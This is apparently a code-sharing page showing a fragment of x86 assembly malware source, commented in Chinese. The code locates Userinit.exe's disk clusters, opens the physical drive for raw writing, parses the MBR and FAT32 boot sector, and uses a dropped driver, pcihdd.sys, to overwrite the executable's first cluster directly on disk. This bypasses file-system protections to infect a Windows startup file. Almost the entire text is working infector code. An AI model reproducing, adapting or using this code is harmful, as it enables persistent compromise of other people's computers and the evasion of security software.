?? test.asm
字號:
call RtlZeroMemory
push 110h ;初始化
lea eax, OutBuffer
push eax
call RtlZeroMemory
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpBytesReturned
push 110h ; nOutBufferSize
lea eax, OutBuffer
push eax ; lpOutBuffer
push 8 ; nInBufferSize
lea eax, InBuffer
push eax ; lpInBuffer
push 90073h ; dwIoControlCode = FSCTL_GET_RETRIEVAL_POINTERS
push hObject ; hDevice
call DeviceIoControl ;通過FSCTL_GET_RETRIEVAL_POINTERS獲取userinit文件數(shù)據(jù)的分布信息
or eax, eax
jz DeviceIoControlFailed
;這個結構是8字節(jié)對齊的,結構長度32字節(jié)
;typedef struct RETRIEVAL_POINTERS_BUFFER
;{
; DWORD ExtentCount;
; LARGE_INTEGER StartingVcn;
; struct
; {
; LARGE_INTEGER NextVcn;
; LARGE_INTEGER Lcn;
; } Extents[1];
;} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;
;typedef union union
;{
; struct
; {
; DWORD LowPart;
; LONG HighPart;
; };
; LONGLONG QuadPart;
;} LARGE_INTEGER, *PLARGE_INTEGER;
lea edi, OutBuffer ;OutBuffer是上面結構體指針
mov ebx, [edi] ;ExtentCount = Extents數(shù)組元素個數(shù)
lea edi, [edi+10h] ;指向Extents數(shù)組首地址,根據(jù)字節(jié)對齊
mov eax, DistanceToMoveHigh
or ebx, ebx ;判斷ExtentCount是否為0
jz ExtentCountIsZero
mov eax, [edi+8] ;指向Extents[0].Lcn.LowPart
mov edx, [edi+0Ch] ;指向Extents[0].Lcn.HighPart
cmp eax, 0FFFFFFFFh
jz FEIHUA
cmp edx, 0FFFFFFFFh
jz FEIHUA
mov dwLowPartofLcn, eax ;保存lcn低32位
mov dwHighPartofLcn, edx ;保存lcn高32位
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, Buffer
push eax ; lpBuffer
push hObject ; hFile
call ReadFile ;讀取userinit文件開頭512字節(jié)
push hObject ; hObject
call CloseHandle
mov hObject, 0 ;關閉文件
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 3 ; dwShareMode
push 0C0000000h ; dwDesiredAccess
push offset a_Physicaldrive ; "\\\\.\\PhysicalDrive0"
call CreateFileA ;打開物理硬盤讀寫
cmp eax, 0FFFFFFFFh
jz OPENPHYSICSFAILED
mov hFile, eax
push 0 ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh
push 0 ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ; 定位
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;讀取硬盤主引導分區(qū)MBR
;
; 0000 |------------------------------------------------|
; | |
; | |
; | Master Boot Record |
; | |
; | |
; | 主引導記錄(446字節(jié)) |
; | |
; | |
; | |
; 01BD | |
; 01BE |------------------------------------------------|
; | |
; 01CD | 分區(qū)信息 1(16字節(jié)) |
; 01CE |------------------------------------------------|
; | |
; 01DD | 分區(qū)信息 2(16字節(jié)) |
; 01DE |------------------------------------------------|
; | |
; 01ED | 分區(qū)信息 3(16字節(jié)) |
; 01EE |------------------------------------------------|
; | |
; 01FD | 分區(qū)信息 4(16字節(jié)) |
; |------------------------------------------------|
; | 01FE | 01FF |
; | 55 | AA |
; |------------------------------------------------|
;分區(qū)表
;
; 分區(qū)表是一個鏈表,主分區(qū)表是分區(qū)鏈表的第一個節(jié)點。由于主分區(qū)表中只能分四個分區(qū), 無法滿足需求, 因此設計了一種擴展分區(qū)格式。擴展分區(qū)就是分區(qū)表的第二個節(jié)點到最后一個節(jié)點。
;
; 主分區(qū)表是從主引導扇區(qū)第0x1BE字節(jié)開始的,共64個字節(jié),最后是0x55AA。64個字節(jié)的分區(qū)信息分為四組,每16字節(jié)為一組。每組的數(shù)據(jù)結構是這樣的:
;
;typedef struct
;{
; BYTE byState;//分區(qū)狀態(tài), 0 = 未激活, 0x80 = 激活
; BYTE byBeginHead;//分區(qū)起始磁頭號
; WORD wBeginSC;//分區(qū)起始扇區(qū)和柱面號, 底字節(jié)的低6位為扇區(qū)號, 高2位為柱面號的第 9,10 位, 高字節(jié)為柱面號的低 8 位
; BYTE byFSID; //分區(qū)類型, 如 0x0B = FAT32, 0x83 = Linux 等, 00 表示此項未用
; BYTE byEndHead;//分區(qū)結束磁頭號
; WORD wEndSC;//分區(qū)結束扇區(qū)和柱面號
; DWORD dwInfoAreaSectors;//在線性尋址方式下的分區(qū)相對扇區(qū)地址
; DWORD dwSectors;//分區(qū)大小 (總扇區(qū)數(shù))
;} INFOAREA_PARAM;//磁盤的分區(qū)信息
lea edi, PhysicalBuff
cmp byte ptr [edi+1BEh], 80h ;byState判斷是否為活動分區(qū)
jnz NOTACTIVEDISK
movzx ebx, byte ptr [edi+1C2h] ;byFSID判斷分區(qū)類型
cmp ebx, 0Bh
jz FAT32 ;Win95 FAT32
cmp ebx, 0Ch
jz FAT32 ;Win95 FAT32 LBA
cmp ebx, 7
jnz NTFS ;HPFS/NTFS
FAT32:
mov eax, [edi+1C6h] ;C盤起始扇區(qū)(首扇區(qū)的相對扇區(qū)號)
mov StartSectorC, eax
xor edx, edx
imul eax, 200h ;求出實際的字節(jié)偏移
mov DistanceToMoveHigh, edx
mov ecx, eax
push 0 ; dwMoveMethod
lea eax, DistanceToMoveHigh
push eax ; lpDistanceToMoveHigh
push ecx ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ;定位到硬盤C盤起始扇區(qū)的絕對位置
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;讀硬盤C盤起始扇區(qū) 即:第一個分區(qū)的引導扇區(qū)BPB
lea edi, PhysicalBuff
movzx eax, word ptr [edi+0Eh]; BPB_RsvdSecCnt = 保留扇區(qū)數(shù)量
add StartSectorC, eax
cmp ebx, 0Bh ;Win95 FAT32
jz WIN95FAT32
cmp ebx, 0Ch ;Win95 FAT32 LBA
jnz short FAT32LBA
WIN95FAT32:
movzx ecx, byte ptr [edi+10h]; BPB_NumFATS = 每個分區(qū)占用的FAT表 數(shù)
mov eax, [edi+24h] ; BPB_FATSz32 = 每個FAT占用扇區(qū)數(shù)
xor edx, edx
imul eax, ecx
add StartSectorC, eax ;數(shù)據(jù)記錄起始扇區(qū)
FAT32LBA:
mov eax, dwLowPartofLcn
mov edx, dwHighPartofLcn
movzx ecx, byte ptr [edi+0Dh] ;BPB_SecPerClus = 每簇多少扇區(qū)
mov nNumberOfBytesToWrite, ecx
imul eax, ecx
add eax, StartSectorC
adc edx, 0
imul eax, 200h ;求出絕對偏移字節(jié)位置
mov HighOffset, edx ;偏移高32位
mov lDistanceToMove, eax ;低32位
push 0 ; dwMoveMethod
lea eax, HighOffset
push eax ; lpDistanceToMoveHigh
push lDistanceToMove ; lDistanceToMove
push hFile ; hFile
call SetFilePointer
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;在找到的硬盤扇區(qū)讀
lea edi, PhysicalBuff
lea esi, Buffer
mov ecx, 200h
repe cmpsb ;通過對比ReadFile讀取的文件數(shù)據(jù)和自己定位后直接讀取所得到的文件數(shù)據(jù),確定定位是否正確
or ecx, ecx
jnz DIFF
push 0 ; dwMoveMethod
lea eax, HighOffset
push eax ; lpDistanceToMoveHigh
push lDistanceToMove ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ;重新定位到上面找到的硬盤扇區(qū)處
mov eax, nNumberOfBytesToWrite
shl eax, 9 ;這個值是作者估算的
mov nNumberOfBytesToWrite, eax
push nNumberOfBytesToWrite ; dwBytes
push 40h ; uFlags
call GlobalAlloc
or eax, eax
jz ALLOCMEMORYFAILED
mov lpBuffer,eax
mov ecx, offset MessageBoxA
sub ecx, offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
;把整個代碼體作為參數(shù)傳遞給pcihdd.sys,控制碼0xF0003C04,
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpBytesReturned
push nNumberOfBytesToWrite ; nOutBufferSize
push lpBuffer ; lpOutBuffer
push ecx ; nInBufferSize
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
push 0F0003C04h ; dwIoControlCode
push hDevice ; hDevice
call DeviceIoControl
;并將pcihdd返回的數(shù)據(jù)直接寫入userinit.exe的第一簇
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesWritten
push nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push lpBuffer ; lpBuffer
push hFile ; hFile
call WriteFile
push hFile ; hFile
call FlushFileBuffers
mov dwRet, 0
jmp OVER
ALLOCMEMORYFAILED:
; "分配內存不成功"
mov dwRet, offset aFCJ
OVER: ; hMem
push lpBuffer
call GlobalFree
jmp FINISHED
DIFF:
mov dwRet, offset ERR1
jmp FINISHED
NTFS:
mov dwRet, offset ERR2
jmp FINISHED
NOTACTIVEDISK:
mov dwRet, offset ERR3
FINISHED: ; hObject
push hFile
call CloseHandle
jmp OPENPHYSICSFAILED
FEIHUA:
mov dwRet, offset ERR4
OPENPHYSICSFAILED: ;打開硬盤設備失敗
jmp ExtentCountIsZero
DeviceIoControlFailed:
mov dwRet, offset ERR5
ExtentCountIsZero:
cmp hObject, 0
jz ZeroObject
push hObject ; hObject
call CloseHandle
jmp ZeroObject
CreateUserInitFileFailed:
mov dwRet, offset ERR6
ZeroObject: ; hObject
push hDevice
call CloseHandle
jmp EXIT
CreateFileFailed:
mov dwRet, offset ERR7
EXIT:
popa
mov eax, dwRet
ret
DoMyWork endp
start proc
push 0 ; lpModuleName
call GetModuleHandleA
mov hModule, eax
call LoadServiceFromRes ;load service from resource
push 100h ; nSize
push offset Dst ; lpDst
push offset aSystemrootSyst ; "%SystemRoot%\\System32\\Userinit.exe"
call ExpandEnvironmentStringsA
push offset Dst ; lpFileName
call DoMyWork
or eax, eax
jnz FAILED
push offset OutputString ;
call OutputDebugStringA
jmp Exit
FAILED: ; lpOutputString
push eax
call OutputDebugStringA
Exit:
call QuitService
push 0 ; uExitCode
call ExitProcess
start endp
end start
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -